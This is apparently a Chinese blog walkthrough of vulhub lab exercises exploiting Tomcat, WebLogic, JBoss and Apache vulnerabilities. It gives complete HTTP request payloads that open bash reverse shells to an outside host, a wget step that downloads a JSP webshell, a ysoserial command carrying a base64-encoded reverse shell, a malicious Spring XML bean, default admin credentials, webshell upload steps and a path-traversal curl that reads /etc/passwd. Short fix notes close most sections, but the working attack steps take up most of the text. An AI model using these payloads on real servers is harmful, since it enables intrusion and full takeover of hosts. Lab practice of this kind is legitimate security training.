前言:
本文用到的环境全部都是自己搭建的靶场,主要是vulhub-master靶场,此外用到的工具是docker和docker-compose。docker-compose建议下载最新版的,要不然每次开靶场还需要改一下yml文件,加上版本信息。 另外我建议大家在使用完靶场以后务必要docker stop 容器id,把容器停掉,如果同时启动太多容器服务器可能会崩溃。
一、Tomcat
tomcat是⼀个开源而且免费的jsp服务器,默认端⼝ : 8080,属于轻量级应⽤服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的⼀款环境。在这里我们介绍一下一些经典的漏洞复现。
1、CVE-2017-12615
漏洞描述:
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将readonlv初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
漏洞原理:
攻击者可以利用PUT方法上传jsp版的一句话木马。
影响范围:
Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat 8.5.19
环境搭建:
cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d
docker ps
可以看到靶场环境已经开启,并且容器端口映射到了物理机的8080端口。
靶场攻略:
浏览器访问一下:
刷新页面,抓包:
修改请求方式为PUT,PUT就是专门上传文件的,将木马文件的内容写到请求体上,把上传路径写到请求行上。这里有一个小细节,我们这里设置的路径是/shell.jsp意思是将内容以shell.jsp文件名上传到网站根目录下,但是一般来说上传jsp文件名会被拦截,于是我们在路径后面加了个斜杠,斜杠的意思是截断,这样就绕过了拦截,这里可以说用到了文件上传漏洞:
访问一下shell.jsp
然后拿哥斯拉连一下:
木马生成:
这时候可能有人要问了,博主博主,java的木马怎么写啊,博主也不会写但是博主这里用哥斯拉生成的。哥斯拉是webshell的连接工具,他可以生成各种语言的木马,很方便,而且还有一定几率避免被查杀。
管理,生成,密钥随便填我这里填的a,语言选java,点击生成
后缀选jsp,选择生成路径,文件名就可以了。
然后右键,用记事本打开复制里面的内容就可以了
漏洞修复
设置readonly 为 true
2、后台弱口令部署war包
漏洞原理:
在tomcat8环境下后台默认密码为 tomcat/tomcat ,未修改造成未授权即可进入后台。tomcat的密码可以爆破,然后还有后续的利用方法可以在vulhub-master靶场里练习也可以在vuhub Thales靶场里练习,如果你感兴趣详情可见:vuhub Thales靶场攻略-CSDN博客
影响范围:
全版本
环境搭建:
cd vulhub-master/tomcat/tomcat8
docker-compose up -d
docker ps
靶场攻略:
我们点右侧的Server Status,他让我们登录,可以爆破,但是我们这里直接用默认密码tomcat/tomcat就可以进了:
进入后台后我们点击List Applications
有一个上传文件的界面,并且只能上传war格式的文件
war是压缩包的一种格式,那么我们可以将木马压缩成war上传进去。我把之前的shell.jsp木马压缩成了shell.war上传了进去
可以看到,成功上传了。访问一些shell下的shell.jsp
拿哥斯拉连一下
漏洞修复:
换一个复杂的无特殊含义的密码
3、CVE-2020-1938
漏洞原理:
由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有Webapp⽬录下的任意⽂件
影响范围:
Apache Tomcat 6
Tomcat 7系列 <7.0.100 Tomcat 8系列 < 8.5.51 Tomcat 9 系列 <9.0.31
环境搭建;
cd vulhub-master/tomcat/CVE-2020-1938
docker-compose up -d
docker ps
靶场攻略:
这里我用到了一个漏洞利用工具:CVE-2020-1938-Tomact-file_include-file_read-master
非常简单,一句命令就搞定了,但是要注意的是需要python2的环境,如果电脑是没有可以在kali里面运行:
命令:python2 Tomcat-ROOT路径下文件包含\(CVE-2020-1938\).py(脚本名) -p 8009(指定AJP的端口) -f /WEB-INF/web.xml(指定要读取的文件名) 59.110.83.22(IP地址)
二、Weblogic
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
1、后台弱口令getshell
漏洞描述:
weblogic的默认账号密码为weblogic/Oracle@123,和tomcat的后台弱口令方法雷同,就是弱口令爆破进后台,然后上传一个war包
影响范围:
全版本
环境搭建:
cd vulhub-master/weblogic/weak_password
docker-compose up -d
docker ps
靶场攻略:
直接访问是这样的,我们这时应该找他的后台页面,可以使用工具扫,这里我就直接给出答案了:/console/login/LoginForm.jsp
访问,输入默认的账号密码,进入后台
部署,安装
上载文件,把之前的shell.war上传进去,然后一直下一步安装好
安装好以后访问一下木马
2、CVE-2017-3506
漏洞描述:
XMLDecoder反序列化漏洞
Weblogic的WLS Security组件对外提供了webserver服务,其中使⽤了XMLDecoder来解析⽤户输⼊的XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执⾏。
影响范围:
WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。
环境搭建:
cd vulhub-master/weblogic/weak_password
docker-compose up -d
docker ps
靶场攻略:
访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在 :
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
我这里访问第一个:
可以访问到,证明wls-wsat组件存在
抓包:然后构造数据包进行反弹shell,里面要注意的点是Content-Type段必须改成text/xml,请求体中的ip和端口改成自己的监听主机的IP和监听端口。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 59.110.83.22:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1753864547
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: text/xml
Content-Length: 856
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/59.110.83.22/6666 0>&1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
记得提前监听端口,反弹到了,还是root权限。
漏洞修复:
更新到最新版本,打补丁
3、CVE-2019-2725
漏洞描述:
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该 WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。
影响范围:
weblogic 10.x weblogic 12.1.3
环境搭建:
cd vulhub-master/weblogic/weak_password
docker-compose up -d
docker ps
靶场攻略:
首先先在靶机可访问的服务器上创建一个文件,把木马写进去
然后在当前目录python3 -m http.server 8080,开启web服务
验证一下能不能访问到
访问/_async/AsyncResponseService,如果出现以下界面说明存在漏洞;
在当前页面抓包,修改数据包,写入木马:
POST /_async/AsyncResponseService HTTP/1.1
Host: 59.110.83.22:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1753864547; JSESSIONID=2NmmyLhVXHnzKJmjL8q36ppMybmhZpV9gn9wMGLv2qvJ6f2TRLwv!1455488565
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: text/xml
Content-Length: 0
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://59.110.83.22:666/111.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/111.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
然后访问一下木马
漏洞修复
- 禁用bea_wls9_async_response组件;
- 删除wls9_async_response的war包并重启 ;
- 禁止访问 /_async/* 路径。
4、CVE-2018-2628
漏洞描述
Weblogic Server中的RMI 通信使⽤T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应⽤程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开 启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
影响范围:
Oracle WebLogic Server10.3.6.0.0 ,Oracle WebLogic Server12.1.3.0.0
Oracle WebLogicServer12.2.1.2.0 ,Oracle WebLogic Server12.2.1.3.0
环境搭建:
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
docker ps
靶场攻略:
这里直接用工具就可以,我用的是Java反序列化漏洞利用工具V1.7
漏洞修复
1. 及时更新补丁 ;
2. 禁⽤T3协议 ;
3. 禁⽌T3端⼝对外开放,或者限制可访问T3端⼝的IP来源。
4. 升级版本
5、CVE-2018-2894
漏洞描述 :
Weblogic Web Service Test Page中⼀处任意⽂件上传漏洞,Web Service Test Page 在 "⽣产模式" 下默认不开启,所以该漏洞有⼀定限制。
影响范围:
weblogic 10.3.6.0 ,weblogic 12.1.3.0 ,weblogic 12.2.1.2,weblogic 12.2.1.3
环境搭建:
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
docker ps
这一关要登后台,但是后台密码是随机的,我们也懒得爆破了,直接在靶机上用命令:
docker-compose logs| grep password
得到账号密码为weblogic/kC4jae6b
靶场攻略:
拼接路径/console/login/LoginForm.jsp,输入账号密码,进入后台
base-domain,⾼级 ,启动Web服务测试页
点击保存 。
/ws_utc/config.do,进⼊ config.do 文件进行设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录,因为访问这个目录是无需权限的。
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
在安全里上传木马,把我们的老朋友shell.jsp上传进去。
F12查看shell的id
拼接路径:/ws_utc/css/config/keystore/1753966549020_shell.jsp,访问木马(文件名为id+原文件名)
6、CVE-2020-14882
漏洞描述:
CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。
CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。
影响范围:
Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.1.3.0
Oracle Weblogic Server 12.2.1.3
Oracle Weblogic Server 12.2.1.4
Oracle Weblogic Server 14.1.1.0
环境搭建:
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
docker ps
靶场攻略:
拼接/console/login/LoginForm.jsp,访问后台
方式一、
拼接/console/css/%252e%252e%252fconsole.portal可以绕过登录(一般要输两下,很神奇)
拼接/console/css/%252e%252e%252fconsole.portal? _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")这个命令可以借助exec函数创建/tmp/success文件。同理可以执行其他系统命令。
这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class
方式二、
制作一个恶意类,写入到靶机可以访问到的服务器上。如1.xml,这个xml语句会造成反弹shell,记得修改一下IP和端口
代码如下
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/59.110.83.22/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
开启http服务
试着访问一下:
然后拼接url:/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://59.110.83.22:8080/1.xml")回车就可以了
三、Jboss
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域JBoss是发展最为迅速应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发这使得JBoss广为流行。
1、CVE-2015-7501
漏洞介绍:
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象然后我们利用Apache Commons Collections中的 Gadget 执行任意代码
影响范围:
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10JBoss AS (Wildly) 6 and earlierJBosS A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform(SOA-P) 5.3.1JBoss Data Grid (JDG)6.5.0
JBoSS BRMS (BRMS) 6.1.0
JBOSS BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0JBoss Fuse Service Works (FSW) 6.0.0JBoss Enterprise Web Server (EWS) 2.1,3.0
环境搭建:
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
docker ps
靶场攻略:
下载 ysoserial 工具
将反弹shell语句base64编码:
bash -i >& /dev/tcp/59.110.83.22/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvNjY2NiAwPiYx
构建语句:
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} ">exp.ser
在和ysoserial 的同一目录里执行:
可以看到目录里多了一个exp.ser文件
服务器监听 nc -lvnp 6666
在exp.ser文件的目录输入curl http://59.110.83.22:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
此刻监听端会收到反弹shell
漏洞修复 :
升级版本
2、CVE-2017-7504
漏洞介绍:
JBOSS AS 4.x及之前版本中,JbosSMQ实现过程的JMS over HTTP Invocation Laver的HTTPServerlLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行
影响范围:
JBoss 4.x 以及之前的所有版本
环境搭建:
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
docker ps
靶场攻略:
拼接路径/jbossmq-httpil/HTTPServerILServlet访问漏洞地址
这里我使用了jexboss工具,
在改文件夹下运行python3 jexboss.py -u http://121.40.229.129:8080
进入:
直接拿到shell了
3、CVE-2017-12149
漏洞简述:
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 Httplnvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
漏洞范围:
JBoss 5.x/6.x
环境搭建:
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
docker ps
靶场攻略:
拼接访问/invoker/readonly,
界面存在,说明漏洞存在,这个界面可以将用户post请求内容进⾏反序列化
直接使用工具检查,我用到的工具是:jboss反序列化_CVE-2017-12149
漏洞修复:
1.不需要 http-invoker.sar 组件的用户可直接删除此组件。
2.添加如下代码至 http-invoker.sar下 web.xml的 security-constraint 标签中,对 http invoker 组件进行访问控制:
3.升级新版本。
4、Administration Console弱⼝令
漏洞简述:
Administration Console管理页面存在弱口令,`admin:admin`,登陆后台上传war包.,getshell
影响范围:
全版本
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
docker ps
靶场攻略:
拼接/admin-console/login.seam找到登录页面,账号密码为admin/vulhub
进入后台后上传我们的老朋友,shell.war
访问一下:
5、 低版本JMX Console未授权
漏洞描述:
此漏洞主要是由于JBoss中/imx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到 jmx控制台,并在其中执行任何功能。
影响范围:
Jboss4.x以下
环境搭建:
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
docker ps
靶场攻略:
访问/jmx-console/,要我们输密码,默认密码为admin/admin
找到jboss.deployment
点击进入,找到addurl,net的
将在有shell.war的目录开启http服务
我们试着访问一下
可以用,将shell.war的网址填到框里
上传,访问,就可以了
3.6 高版本MX Console未授权
漏洞描述:
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面,通过部署war包,getshell
影响范围:
Jboss6.x以下
环境搭建:
cd vulhub-master/iboss/CVE-2017-12149
docker-compose up -d
docker ps
靶场攻略:
后台/jmx-console/,账号密码admin/vulhub
上一关oython3搭建的网站不要退。
上传访问http://ip/shell/shell.jsp就可以了。
四、Apache
CVE-2021-41773
漏洞描述:
目录穿越漏洞,在路径穿越目录<Directory/>Require all granted</Directory>允许被访问的的情况下(默认开启),攻击者可利用该路径穿越漏洞读取到Web目录之外的其他文件
在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cgi命令(RCE)
影响版本:
Apache HTTP Server 2.4.49
某些Apache HTTPd 2.4.50也存在此漏洞
环境搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
docker ps
靶场攻略:
方式一、
1.使⽤poc
curl http://59.110.83.22:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
方式二、
使用CVE-2021-41773工具,